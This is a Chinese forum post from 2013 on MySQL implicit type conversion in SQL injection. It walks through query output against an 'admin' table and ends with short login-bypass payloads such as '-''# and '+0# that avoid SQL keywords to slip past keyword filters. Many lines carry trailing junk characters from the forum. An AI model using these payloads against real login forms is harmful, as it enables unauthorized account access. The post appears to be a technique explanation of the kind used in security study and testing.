找回密码
 立即注册
查看: 3105|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。$ ^0 X' p' u: [* ~7 x3 }$ V3 i
有以下表结构: % \. d4 y9 S1 W

% ]0 Q+ Q6 V' c2 k8 _, y$ mmysql> desc admin;
! v. _* }" p$ ^3 j7 ~7 v* O2 ^+----------+--------------+------+-----+---------+----------------+
( x$ n* ~8 k5 l| Field    | Type         | Null | Key | Default | Extra          |( u4 ]8 n2 ]9 \/ a
+----------+--------------+------+-----+---------+----------------+- v* r& z$ L3 y6 N5 C
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
! P& f; {0 T) w8 }| name     | char(32)     | NO   | UNI | NULL    |                |* Q* b+ o/ T. O
| password | char(32)     | NO   | UNI | NULL    |                |
2 ]/ [4 ]4 B! F" U! D/ f- t+----------+--------------+------+-----+---------+----------------+9 ?  I* q0 y; r) D$ L
3 rows in set (0.00 sec)4 N, w  D; N% q) k! B
执行select * from admin;,成功返回所有记录内容。* n: @3 J$ {9 F, n' g
& l7 ~/ T* l3 h1 p

( y1 J8 b" I( N7 K* R  F% o+----+--------+----------------------------------+7 l8 o; n" B8 v3 k1 z
| id | name   | password                         |- I& |6 q) V9 G% x* ^( l$ s. A- [9 j
+----+--------+----------------------------------+4 |# @: w! L& t5 k" D% V9 a
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |% V6 U0 c7 Y3 o: ?
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |3 b+ |1 z4 f; |3 C; _2 @
|  4 | n00b   | ff80e8508d39047460921792273533a4 |5 I6 q& Y. h# x8 v8 ]6 @. B
+----+--------+----------------------------------+& ?$ q  B9 V% G% a/ m1 x
3 rows in set (0.00 sec)
9 z, P# A( c( ~& ?' \/ Y  e执行select * from admin where name=”;,没有匹配到任何记录。
* h( a& p& ^& u, l5 I8 ?3 g) `$ ^9 F* m" y: J' v! S& Z
mysql> select * from admin where name = '';
: i; W) y1 O1 lEmpty set (0.00 sec)9 r; ]$ k4 h/ x7 r$ C
那么我们来执行select * from admin where name = ”-”;! N$ D! S' V& A) z' G, {. q" `

3 E& {, k6 ]7 r- b& {
* r* ~  q# s4 k6 K* R+----+--------+----------------------------------+' f" X; x  b4 v# M  z+ G
| id | name   | password                         |" n3 h$ Y: r6 v' j& ?' {  ]6 w' H, e5 a
+----+--------+----------------------------------+
; K# z8 ]9 W% \# t" Q|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
7 I- v! m9 d. T8 j9 z3 V9 L|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |7 f& j$ k  j% w+ _: b- J
|  4 | n00b   | ff80e8508d39047460921792273533a4 |+ w! D4 P& i) B0 v$ I! N7 O" r
+----+--------+----------------------------------+0 s/ C1 b7 C4 ]; B# Y
3 rows in set, 3 warnings (0.00 sec)
- z- |& _1 M1 n( s7 h- H! N& H可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: $ F' \" V5 w5 Q9 @) g* {: @$ P
8 D8 f" c' i& Z/ x  @: q
mysql> show warnings;
  g' j( D( [) [/ k" d+ p+---------+------+------------------------------------------
- r  D' U7 L/ G$ W. B& q! a| Level   | Code | Message- b+ ], u/ [7 ]: F+ e9 I/ Q4 X
+---------+------+------------------------------------------" ]9 j( Z+ |7 E) m; Z( q/ c$ H& D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin; m6 f. c6 ~* Q) n% b+ q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
. @" y. A+ y* T, e| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b  x. W7 `2 a- b' P7 o
+---------+------+------------------------------------------7 B. s2 ?7 P" H
3 rows in set (0.00 sec)5 k! x: B$ U/ p/ E0 m3 Q
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
  ^0 q+ q# l3 M" i4 {' o( ^4 I7 h* O
mysql> select ''-'';
) n5 {" l# b7 r* ^4 I+-------+
3 S8 P3 ?( x- V7 c" i: q, p( ~/ q| ''-'' |
2 A. T- Y  c' b; F5 N. c+-------+7 ~  }$ j. K! ^9 \7 [# a0 T) Q" Q) L
|     0 |3 |% h5 m. k! z+ A& m) ^
+-------+
  R, l$ Z: A# u9 a8 S) R1 row in set (0.00 sec). q/ L+ r( u8 q1 {& Y
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 7 \. X! ~# R. x

- x) M; U8 i: |mysql> select CAST((select name from admin limit 1,1) as DECIMAL);1 {; s0 g/ V* Q
+-----------------------------------------------------++ q1 i+ x/ g. q* k" h
| CAST((select name from admin limit 1,1) as DECIMAL) |
/ r- Y: n' a$ i7 y3 g1 r+-----------------------------------------------------+2 E3 z+ O: K. R9 w
|                                                   0 |
7 M3 f% ]) I$ v7 f( \  S2 j+-----------------------------------------------------+
0 f& k2 c* ]  T) r: }; E! x! J1 row in set, 1 warning (0.00 sec)
& {# E3 Z) e' @- i2 f因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 L* _6 m0 I  T$ b$ O

9 O, E( N! k( G4 pSQL注入场景: http://www.sqlzoo.net/hack/
# Z* C8 G* w+ ^% X% m3 @% a/ n) G& R

- S9 q" ]! Y7 p+ c# y& n3 q$ e5 z7 y3 u9 ^1 a: O" f- l" b# j/ @6 ~
1 U, f3 v' _) s& Q' }, i
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ! h9 H2 a/ y: z3 o

  u* m9 u; {! n那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 1 p. h" n+ |* ~
' P2 l* I1 o: J' m

5 U; `) N6 `8 y# h  y) j( I" _/ n
0 u: g! o9 g2 k+ r" }- |6 F. p: j) _" ]& `! m
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 3 a0 O, y; [4 S: y

3 ~" u2 C, @5 g# N1 r   
; ?( |  R5 P& \4 p0 c$ S% o: _1 {
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可/ c9 s" T7 V2 a8 B9 }' C2 Z
+ u$ f% E$ d) s' W# c

" }* {& b$ j0 w6 {/ i* ]mysql> select ''/1;
$ H* r5 [8 M8 ?* N* Y2 R5 O+------+
/ \8 J( f! E* o( [/ W- N4 q1 {4 e| ''/1 |$ }, J  y# G2 ?1 Y) z) T9 T7 F, g: P
+------+
8 W3 s( x6 a. w|    0 |% P+ U0 B+ ^7 }9 h1 C  a
+------+
2 X) w& ~1 Z9 c1 row in set (0.00 sec)
6 q3 |- X& K3 t2 l" b( J" }* {类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
. _5 r+ D% w* I' b9 h! c1 B
# m5 t6 P* H6 t/ R& `; g利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
- |& [. f6 u2 @' t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表